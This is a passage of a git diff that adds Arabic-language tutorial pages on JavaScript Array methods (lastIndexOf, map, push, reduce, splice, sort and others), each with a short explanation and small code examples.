+ترجع `lastIndexOf()` الفهرس الأخير الذي يمكن العثور فيه على عنصر معين في الصفيف ، أو -1 إذا لم يكن موجودًا. يتم البحث في الصفيف إلى الخلف ، بدءًا من `fromIndex` .
+
+**بناء الجملة**
+
+ `  arr.lastIndexOf(searchElement, fromIndex = arr.length - 1]) 
+` 
+
+## المعلمات
+
+*   **searchElement**
+    
+    *   عنصر لتحديد مكان في الصفيف.
+*   **fromIndex**
+    
+    *   _اختياري_ . الفهرس الذي يبدأ عنده البحث إلى الخلف. افتراضيا لطول الصفيف ناقص واحد ، أي سوف يتم البحث عن المجموعة الكاملة. إذا كان الفهرس أكبر من أو يساوي طول الصفيف ، فسيتم البحث في الصفيف بأكمله. إذا كانت سلبية ، يتم أخذها كإزاحة من نهاية الصفيف. لاحظ أنه حتى عندما يكون الفهرس سالباً ، لا يزال البحث في الصفيف من الخلف إلى الأمام. إذا كان الفهرس المحسوب أقل من 0 ، فسيتم إرجاع -1 ، أي لن يتم البحث في المصفوفة.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff679972%28v=vs.94%29.aspx)
+
+## عائدات
+
+فهرس آخر ظهور من `searchElement` في المصفوفة ، أو -1 إذا لم يتم العثور على `searchElement` .
+
+## وصف
+
+`lastIndexOf` يقارن `searchElement` لعناصر المصفوفة باستخدام المساواة التامة (نفس الطريقة التي يستخدمها ===، أو يساوي ثلاثة أضعاف، المشغل).
+
+## ملاحظات
+
+البحث يحدث بترتيب تنازلي للفهرس (العضو الأخير أولاً). للبحث بترتيب تصاعدي ، استخدم طريقة `indexOf` .
+
+تحدد الوسيطة `fromIndex` الاختيارية فهرس الصفيف الذي يبدأ `fromIndex` البحث. إذا كان `fromIndex` أكبر من أو يساوي طول الصفيف ، `fromIndex` البحث في الصفيف بأكمله. إذا كان `fromIndex` سالباً ، يبدأ البحث في طول الصفيف بالإضافة إلى `fromIndex` . إذا كان الفهرس المحسوب أقل من 0 ، فسيتم إرجاع -1.
+
+## أمثلة
+
+ `  var array = [2, 5, 9, 2]; 
+  array.lastIndexOf(2);     // 3 
+  array.lastIndexOf(7);     // -1 
+  array.lastIndexOf(2, 3);  // 3 
+  array.lastIndexOf(2, 2);  // 0 
+  array.lastIndexOf(2, -2); // 0 
+  array.lastIndexOf(2, -1); // 3 
+ 
+  // Create an array. 
+  var ar = ["ab", "cd", "ef", "ab", "cd"]; 
+ 
+  // Determine the first location, in descending order, of "cd". 
+  document.write(ar.lastIndexOf("cd") + "<br/>"); 
+ 
+  // Output: 4 
+ 
+  // Find "cd" in descending order, starting at index 2. 
+  document.write(ar.lastIndexOf("cd", 2) + "<br/>"); 
+ 
+  // Output: 1 
+ 
+  // Search for "gh" (which is not found). 
+  document.write(ar.lastIndexOf("gh")+ "<br/>"); 
+ 
+  // Output: -1 
+ 
+  // Find "ab" with a fromIndex argument of -3. 
+  // The search in descending order starts at index 3, 
+  // which is the array length minus 2. 
+  document.write(ar.lastIndexOf("ab", -3) + "<br/>"); 
+  // Output: 0 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-map/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-map/index.md
new file mode 100644
index 0000000000..e3ab79f446
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-map/index.md
@@ -0,0 +1,30 @@
+---
+title: Array.prototype.map
+localeTitle: Array.prototype.map
+---
+## Array.prototype.map
+
+طريقة `.map()` حلقات عبر الصفيف المحدد وينفذ الدالة المقدمة على كل عنصر. تقوم بإرجاع صفيف جديد يحتوي على نتائج استدعاء دالة على كل عنصر.
+
+### أمثلة
+
+**ES5**
+
+ `var arr = [1, 2, 3, 4]; 
+ var newArray = arr.map(function(element) { return element * 2}); 
+ console.log(newArray); // [2, 4, 6, 8] 
+` 
+
+**ES6**
+
+ `const arr = [1, 2, 3, 4]; 
+ const newArray = arr.map(element => element * 2); 
+ console.log(newArray); 
+ //[2, 4, 6, 8] 
+` 
+
+**معلومات اكثر**
+
+هنا هو screencast التفاعلية Scrimba الذي يفسر `Array.prototype.map()` :
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-pop/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-pop/index.md
new file mode 100644
index 0000000000..1f68f18ea2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-pop/index.md
@@ -0,0 +1,35 @@
+---
+title: Array.prototype.pop
+localeTitle: Array.prototype.pop
+---
+# Array.prototype.pop
+
+تقوم طريقة `pop()` بإزالة العنصر الأخير من وتغيير طول صفيف.
+
+**بناء الجملة**
+
+ `    arr.pop() 
+` 
+
+**قيمة الإرجاع**
+
+*   العنصر الذي تمت إزالته من المصفوفة ؛ غير معروف إذا كان الصفيف فارغًا.
+
+## وصف
+
+يقوم أسلوب `pop()` بإزالة العنصر الأخير من صفيف وإرجاع تلك القيمة إلى المستدعي.
+
+إذا قمت بالاتصال `pop()` على صفيف فارغ ، فإنها تقوم بإرجاع undefined.
+
+## أمثلة
+
+ `let array = [1, 2, 3, 4]; 
+ array.pop(); // removes 4 
+ console.log(array); // [1, 2, 3] 
+ 
+ [].pop() // undefined 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-push/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-push/index.md
new file mode 100644
index 0000000000..d8b912e891
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-push/index.md
@@ -0,0 +1,48 @@
+---
+title: Array.prototype.push
+localeTitle: Array.prototype.push
+---
+تُستخدم طريقة `push()` لإضافة عنصر جديد أو أكثر إلى نهاية صفيف. كما تقوم بإرجاع طول الصفيف الجديد.
+
+### بناء الجملة
+
+ `arr.push([element1[, ...[, elementN]]]) 
+` 
+
+### المعلمات
+
+*   **elementN** العناصر المطلوب إضافتها إلى نهاية الصفيف.
+
+### قيمة الإرجاع
+
+الطول الجديد للمصفوفة التي تم استدعاء الطريقة بها.
+
+## وصف
+
+و `push()` وطريقة _دفع_ العناصر إلى نهاية صفيف. يمكن أن يأخذ صفر أو أكثر من الحجج. إذا لم يتم تقديم أي حجج ، ستقوم ببساطة بإرجاع طول الصفيف الحالي. إذا تم توفير وسيطة واحدة أو أكثر ، فستضيف هذه الوسيطات إلى المصفوفة بالترتيب الذي تتم كتابته به.
+
+تقوم هذه الطريقة أيضًا بإرجاع طول الصفيف الجديد بعد دفع العنصر (العناصر) إليه.
+
+## مثال:
+
+ `var myStarkFamily = ['John', 'Robb', 'Sansa', 'Bran']; 
+` 
+
+افترض أن لديك مجموعة من أطفال House Stark من Game of Thrones. ومع ذلك ، فإن أحد الأعضاء ، **آريا** ، مفقود. معرفة الرمز أعلاه ، يمكنك إضافتها بتعيين `'Arya'` إلى الصفيف في الفهرس بعد الفهرس الأخير مثل:
+
+ `myStarkFamily[4] = 'Arya'; 
+` 
+
+المشكلة مع هذا الحل هو أنه لا يمكن معالجة الحالات العامة. إذا كنت لا تعرف مسبقا ما طول الصفيف ، لا يمكنك إضافة عناصر جديدة بهذه الطريقة. هذا هو ما `push()` ل. لا نحتاج إلى معرفة طول المصفوفة. نحن نضيف فقط عنصرنا في نهاية الصفيف.
+
+ `myStarkFamily.push('Arya'); 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya'] 
+ 
+ var newLength = myStarkFamily.push('Rickon');  // oops! forgot Rickon 
+ console.log(newLength);  // 6 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya', 'Rickon'] 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduce/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduce/index.md
new file mode 100644
index 0000000000..3a1a55f293
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduce/index.md
@@ -0,0 +1,64 @@
+---
+title: Array.prototype.reduce
+localeTitle: Array.prototype.reduce
+---
+## Array.prototype.reduce
+
+`reduce()` طريقة `reduce()` مجموعة من القيم إلى قيمة واحدة فقط.
+
+يمكن أن تكون القيمة المفردة التي يتم إرجاعها من أي نوع.
+
+### مثال 1
+
+تحويل مجموعة من الأعداد الصحيحة إلى مجموع كل الأعداد الصحيحة في الصفيف.
+
+ `    var numbers = [1,2,3]; 
+    var sum = numbers.reduce(function(total, current){ 
+        return total + current; 
+    }); 
+    console.log(sum); 
+` 
+
+هذا سوف إخراج `6` إلى وحدة التحكم.
+
+### وصف
+
+وقد سميت طريقة `reduce()` بسكين الجيش السويسري ، أو متعدد الأدوات ، لطرق تحويل الصفيف. توفر الأخرى ، مثل `map()` و `filter()` ، تحويلات أكثر تحديدًا ، بينما يمكن استخدام `reduce()` لتحويل المصفوفات إلى أي إخراج ترغب فيه.
+
+### بناء الجملة
+
+ `    arr.reduce(callback[, initialValue]) 
+` 
+
+*   وسيطة `callback` هي دالة سيتم استدعاؤها مرة واحدة لكل عنصر في الصفيف. تأخذ هذه الدالة أربع حجج ، ولكن غالبًا ما يتم استخدام الأولين فقط.
+    *   _تراكم_ - القيمة التي تم إرجاعها للتكرار السابق
+    *   _currentValue_ - العنصر الحالي في الصفيف
+    *   _index_ - فهرس العنصر الحالي
+    *   _مجموعة_ - _الصفيف_ الأصلي الذي تم استدعاء الحد
+*   وسيطة `initialValue` اختيارية. إذا تم توفيره ، فسيتم استخدامه كقيمة تراكم أولية في الاستدعاء الأول لوظيفة رد الاتصال (راجع المثال 2 أدناه).
+
+### مثال 2
+
+قم بتحويل صفيف من السلاسل إلى كائن واحد يُظهر عدد المرات التي تظهر فيها كل سلسلة في الصفيف. لاحظ هذه المكالمة لتقليل التمريرات إلى كائن فارغ `{}` كمعلمة `initialValue` . سيتم استخدام هذا كقيمة أولية للمجمع (الوسيطة الأولى) التي تم تمريرها إلى وظيفة رد الاتصال.
+
+ `var pets = ['dog', 'chicken', 'cat', 'dog', 'chicken', 'chicken', 'rabbit']; 
+ 
+ var petCounts = pets.reduce(function(obj, pet){ 
+    if (!obj[pet]) { 
+        obj[pet] = 1; 
+    } else { 
+        obj[pet]++; 
+    } 
+    return obj; 
+ }, {}); 
+ 
+ console.log(petCounts); 
+` 
+
+انتاج: `js { dog: 2, chicken: 3, cat: 1, rabbit: 1 }`
+
+## معلومات اكثر:
+
+*   [كيفية عمل طريقة Reduce في JavaScript ، وقت استخدامها ، وبعض الأشياء الرائعة التي يمكنها القيام بها](https://medium.freecodecamp.org/reduce-f47a7da511a9)
+*   [التقليل المتقدم](https://www.youtube.com/watch?v=1DMolJ2FrNY)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduceright/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduceright/index.md
new file mode 100644
index 0000000000..56286465e7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reduceright/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.reduceRight
+localeTitle: Array.prototype.reduceRight
+---
+## Array.prototype.reduceRight
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-reduceright/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reverse/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reverse/index.md
new file mode 100644
index 0000000000..adc6992df2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-reverse/index.md
@@ -0,0 +1,32 @@
+---
+title: Array.prototype.reverse
+localeTitle: Array.prototype.reverse
+---
+`.reverse()` طريقة مصفوفة جافا سكريبت `.reverse()` على عكس ترتيب العناصر داخل الصفيف.
+
+**بناء الجملة**
+
+ `  var array = [1, 2, 3, 4, 5]; 
+  array.reverse(); 
+` 
+
+## وصف
+
+`.reverse()` يعكس مؤشر عناصر المصفوفة.
+
+## أمثلة
+
+**استخدم `.reverse()` لعكس عناصر المصفوفة**
+
+ `  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.reverse(); 
+ 
+  console.log(array); 
+  /* Console will output 5, 4, 3, 2, 1 and 
+  the variable array now contains the set [5, 4, 3, 2, 1] */ 
+` 
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-shift/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-shift/index.md
new file mode 100644
index 0000000000..6ae4415e5b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-shift/index.md
@@ -0,0 +1,36 @@
+---
+title: Array.prototype.shift
+localeTitle: Array.prototype.shift
+---
+ستقوم طريقة مصفوفة جافا سكريبت `.shift()` بإزالة العنصر الأول من مصفوفة وإرجاع تلك القيمة. سيؤدي هذا أيضًا إلى تغيير طول الصفيف
+
+**بناء الجملة**
+
+ `  var array = [1, 2, 3, 4]; 
+  array.shift(); 
+` 
+
+## وصف
+
+`.shift()` إلى إزالة العنصر في الفهرس 0 للصفيف الذي يتم استدعاؤه عليه. ثم تقوم بإرجاع القيمة التي تمت إزالتها وتقوم بنقل كافة العناصر المتبقية إلى الأسفل بقيمة مؤشر واحد.
+
+`.shift()` `undefined` إذا لم يحتوي المصفوفة التي يطلق عليها على أي عناصر.
+
+## أمثلة
+
+**تحويل القيمة الأولى من صفيف**
+
+ `  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.shift(); 
+  // If we console.log(array.shift()); the console would output 1. 
+ 
+  console.log(array); 
+  /* Console will output 2, 3, 4, 5 and 
+  the variable array now contains the set [2, 3, 4, 5] where 
+  each element has been moved down 1 index value. */ 
+` 
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-slice/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-slice/index.md
new file mode 100644
index 0000000000..b6b0cb96db
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-slice/index.md
@@ -0,0 +1,42 @@
+---
+title: Array.prototype.slice
+localeTitle: Array.prototype.slice
+---
+`.slice()` طريقة صفيف جافا سكريبت `.slice()` كائن مصفوفة جديد سيكون جزءًا (شريحة) من المصفوفة الأصلية. لا يتم تعديل المصفوفة الأصلية.
+
+**بناء الجملة**
+
+ `  array.slice() 
+  arr.slice(startIndex) 
+  arr.slice(startIndex, endIndex) 
+` 
+
+## المعلمات
+
+*   **startIndex** فهرس يستند إلى الصفر حيث يجب أن تبدأ الشريحة. إذا تم حذف القيمة ، فسيبدأ عند 0.
+    
+*   **endIndex** ستنتهي الشريحة **قبل** هذا المؤشر الذي يستند إلى الصفر. يتم استخدام فهرس سلبي للإزاحة من نهاية الصفيف. إذا تم حذف القيمة ، فسيتم تقسيم الشريحة إلى نهاية الصفيف.
+    
+
+## أمثلة
+
+ `  var array = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var everything = array.slice() 
+  // everything = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var kitchen = array.slice(2, 4) 
+  // kitchen = ['cup', 'sandwich'] 
+ 
+  var random = array.slice(4) 
+  // random = ['bag', 'phone', 'cactus'] 
+ 
+  var noPlants = array.slice(0, -1) 
+  // noPlats = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone'] 
+ 
+  // array will still equal ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+` 
+
+#### معلومات اكثر:
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-some/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-some/index.md
new file mode 100644
index 0000000000..25bb9ecbd7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-some/index.md
@@ -0,0 +1,88 @@
+---
+title: Array.prototype.some
+localeTitle: Array.prototype.some
+---
+`.some()` طريقة مصفوفة جافا سكريبت `.some()` وظيفة رد اتصال لاختبار كل عنصر في الصفيف ؛ بمجرد إرجاع إرجاع `true` ثم `.some()` سيعود على الفور.
+
+**بناء الجملة**
+
+ `  var arr = [1, 2, 3, 4]; 
+  arr.some(callback[, thisArg]); 
+` 
+
+## وظيفة رد الاتصال
+
+**بناء الجملة**
+
+ `  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+` 
+
+انظر ويكي على [المشغّلات الحسابية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) لرؤية المشغل الباقي `%`
+
+**لديه 3 الحجج**
+
+*   currentElement
+    
+    *   هذا متغير يمثل العنصر الذي يتم تمريره إلى رد الاتصال.
+*   فهرس
+    
+    *   هذه هي قيمة مؤشر العنصر الحالي بدءًا من 0
+*   مجموعة مصفوفة
+    
+    *   المصفوفة التي تم استدعاء `.some()` عليها.
+
+يجب أن تقوم وظيفة رد الاتصال بتنفيذ حالة اختبار.
+
+## thisArg
+
+هي معلمة اختيارية ويمكن العثور على مزيد من المعلومات على \[MDN
+
+## وصف
+
+`.some()` سيتم تشغيل وظيفة رد الاتصال لكل عنصر في الصفيف. بمجرد إرجاع الاستدعاء true ، `.some()` `true` . إذا كان رد الاتصال بإرجاع [قيمة كاذبة](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) _لكل_ عنصر في الصفيف ثم `.some()` بإرجاع false.
+
+`.some()` لن يغير / `.some()` الصفيف الذي يطلق عليه.
+
+## أمثلة
+
+**تمرير وظيفة إلى `.some()`**
+
+ `  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+ 
+  var arr1 = [1, 2, 3, 4, 5, 6]; 
+  arr1.some(isEven);  // returns true 
+  var arr2 = [1, 3, 5, 7]; 
+  arr2.some(isEven);  // returns false 
+` 
+
+**وظيفة مجهولة**
+
+ `  var arr3 = ['Free', 'Code', 'Camp', 'The Amazing']; 
+  arr3.some(function(curr, index, arr) { 
+      if (curr === 'The Amazing') { 
+          return true; 
+      } 
+      }); // returns true 
+ 
+  var arr4 = [1, 2, 14, 5, 17, 9]; 
+  arr4.some(function(curr, index, arr) { 
+      return curr > 20; 
+      });  // returns false 
+ 
+  // ES6 arrows functions 
+  arr4.some((curr) => curr >= 14)  // returns true 
+` 
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-sort/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-sort/index.md
new file mode 100644
index 0000000000..c36bb3755c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-sort/index.md
@@ -0,0 +1,49 @@
+---
+title: Array.prototype.sort
+localeTitle: Array.prototype.sort
+---
+## Array.prototype.sort
+
+يقوم هذا الأسلوب بفرز عناصر الصفيف في المكان وإرجاع الصفيف.
+
+يتبع أسلوب `sort()` **ترتيب ASCII** !
+
+مؤشر | الطابع --- | --- 33 |! 34 | " 35 | # 36 | $ 37 |٪
+
+ `var myArray = ['#', '!']; 
+ var sortedArray = myArray.sort();   // ['!', '#'] because in the ASCII table "!" is before "#" 
+ 
+ myArray = ['a', 'c', 'b']; 
+ console.log(myArray.sort()); // ['a', 'b', 'c'] 
+ console.log(myArray) // ['a', 'b', 'c'] 
+ 
+ myArray = ['b', 'a', 'aa']; 
+ console.log(myArray.sort());   // ['a', 'aa', 'b'] 
+ 
+ myArray = [1, 2, 13, 23]; 
+ console.log(myArray.sort());   // [1, 13, 2, 23] numbers are treated like strings! 
+` 
+
+# الاستخدام المتقدم
+
+يمكن أن تقبل طريقة `sort()` أيضًا معلمة: `array.sort(compareFunction)`
+
+### فمثلا
+
+ `function compare(a, b){ 
+  if (a < b){return -1;} 
+  if (a > b){return 1;} 
+  if (a === b){return 0;} 
+ } 
+ 
+ var myArray = [1, 2, 23, 13]; 
+ console.log(myArray.sort()); // [ 1, 13, 2, 23 ] 
+ console.log(myArray.sort(compare));   // [ 1, 2, 13, 23 ] 
+ 
+ myArray = [3, 4, 1, 2]; 
+ sortedArray = myArray.sort(function(a, b){.....});   // it depends from the compareFunction 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-splice/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-splice/index.md
new file mode 100644
index 0000000000..6aa2926498
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-splice/index.md
@@ -0,0 +1,68 @@
+---
+title: Array.prototype.splice
+localeTitle: Array.prototype.splice
+---
+## Array.prototype.splice
+
+تشبه طريقة لصق [Array.prototype.slice](https://guide.freecodecamp.org/javascript/standard-objects/array/array-prototype-slice) ، ولكن على عكس `slice()` فإنه يغير المصفوفة التي يطلق عليها. كما يختلف في أنه يمكن استخدامه لإضافة قيم إلى صفيف وكذلك إزالتها.
+
+### المعلمات
+
+`splice()` يمكن أن يأخذ واحد أو أكثر
+
+#### لصق (بدء)
+
+إذا تم تضمين معلمة واحدة فقط ، فسيقوم `splice(start)` بإزالة كل عناصر الصفيف من `start` إلى نهاية الصفيف.
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(2); 
+ // exampleArray is now ['first', 'second']; 
+` 
+
+إذا كانت `start` سلبية ، فسيتم حسابها إلى الخلف من نهاية الصفيف.
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(-1); 
+ // exampleArray is now ['first', 'second', 'third']; 
+` 
+
+#### لصق (ابدأ ، deleteCount)
+
+إذا تم تضمين معلمة ثانية `splice(start, deleteCount)` فسيؤدي `splice(start, deleteCount)` إلى إزالة عناصر `deleteCount` من الصفيف ، بدءًا من `start` .
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth']; 
+` 
+
+#### لصق (ابدأ ، deleteCount ، newElement1 ، newElement2 ، ...)
+
+إذا تم تضمين أكثر من معلمتين ، فستكون المعلمات الإضافية عناصر جديدة تتم إضافتها إلى الصفيف. سيبدأ موقع هذه العناصر المضافة في `start` .
+
+يمكن إضافة العناصر دون إزالة أي عناصر بتمرير `0` كمعامل ثان.
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 0, 'new 1', 'new 2'); 
+ // exampleArray is now ['first', 'new 1', 'new 2', 'second', 'third', 'fourth'] 
+` 
+
+يمكن أيضا استبدال العناصر.
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2, 'new second', 'new third'); 
+ // exampleArray is now ['first', 'new second', 'new third', 'fourth'] 
+` 
+
+### قيمة الإرجاع
+
+بالإضافة إلى تغيير الصفيف الذي يتم استدعاؤه ، يقوم `splice()` أيضًا بإرجاع صفيف يحتوي على القيم التي تمت إزالتها. هذه طريقة لقطع صفيف إلى صفيفين مختلفين.
+
+ `let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ let newArray = exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth'] 
+ // newArray is ['second', 'third'] 
+` 
+
+#### معلومات اكثر:
+
+[MDN - Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tolocalstring/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..4a61b167de
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
@@ -0,0 +1,47 @@
+---
+title: Array.prototype.toLocaleString
+localeTitle: Array.prototype.toLocaleString
+---
+## Array.prototype.toLocaleString
+
+إرجاع الأسلوب `toLocaleString()` سلسلة تمثل عناصر صفيف. يتم تحويل كل العناصر إلى سلاسل باستخدام أساليب toLocaleString الخاصة بها. الهدف من استدعاء هذه الوظيفة هو أن يكون محددًا محليًا.
+
+##### بناء الجملة:
+
+ `arr.toLocaleString(); 
+` 
+
+##### المعلمات
+
+*   `locales` (اختياري) - وسيطة تحمل إما سلسلة أو صفيف من علامات اللغة [BCP 47 علامة اللغة](http://tools.ietf.org/html/rfc5646) .
+*   `options` (اختياري) - كائن مع خصائص التكوين
+
+##### قيمة الإرجاع
+
+سلسلة تمثل عناصر الصفيف مفصولة بسلسلة خاصة بالإعدادات المحلية (مثل الفاصلة "،")
+
+## أمثلة
+
+ `var number = 12345; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myString = myArray.toLocaleString(); 
+ 
+ console.log(myString); 
+ // OUTPUT '12345,10/25/2017, 4:20:02 PM,foo' 
+` 
+
+يمكن عرض مخرجات مختلفة بناء على اللغة ومعرف المنطقة (اللغة).
+
+ `var number = 54321; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myJPString = myArray.toLocaleString('ja-JP'); 
+ 
+ console.log(myJPString); 
+ // OUTPUT '54321,10/26/2017, 5:20:02 PM,foo' 
+` 
+
+### معلومات اكثر:
+
+المصدر: [MDN](https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Array/toLocaleString)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tosource/index.md
new file mode 100644
index 0000000000..5416aef30d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.toSource
+localeTitle: Array.prototype.toSource
+---
+## Array.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tostring/index.md
new file mode 100644
index 0000000000..59d3ed55b2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-tostring/index.md
@@ -0,0 +1,23 @@
+---
+title: Array.prototype.toString
+localeTitle: Array.prototype.toString
+---
+يتم استخدام أسلوب مصفوفة جافا سكريبت. `.toString()` لتحويل مصفوفة إلى سلسلة واحدة ، مع كل عنصر `.toString()` بفاصلة. لا توجد معلمات للطريقة.
+
+**بناء الجملة**
+
+ `  var arr = [1, 2, 3, 4]; 
+  arr.toString(); 
+` 
+
+## استعمال
+
+ `  var str1 = [1, 2, 3, 4, 5].toString();  // str1 = '1,2,3,4,5'; 
+  var str2 = ['1', '2', '3', '4'].toString();  // str2 = '1,2,3,4'; 
+  var str3 = ['Free', 'Code', 'Camp'].toString();  // str3 = 'Free,Code,Camp'; 
+  var str4 = ['phone', '555-6726'].toString();   // str4 = 'phone,555-6726'; 
+  var str5 = ['August', 'September', 'October'].toString();  // str5 = 'August,September,October'; 
+  var str6 = ['Words', 'and', 3, 4].toString();  // str6 = 'Words,and,3,4'; 
+` 
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-unshift/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-unshift/index.md
new file mode 100644
index 0000000000..faea9f958b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-unshift/index.md
@@ -0,0 +1,34 @@
+---
+title: Array.prototype.unshift
+localeTitle: Array.prototype.unshift
+---
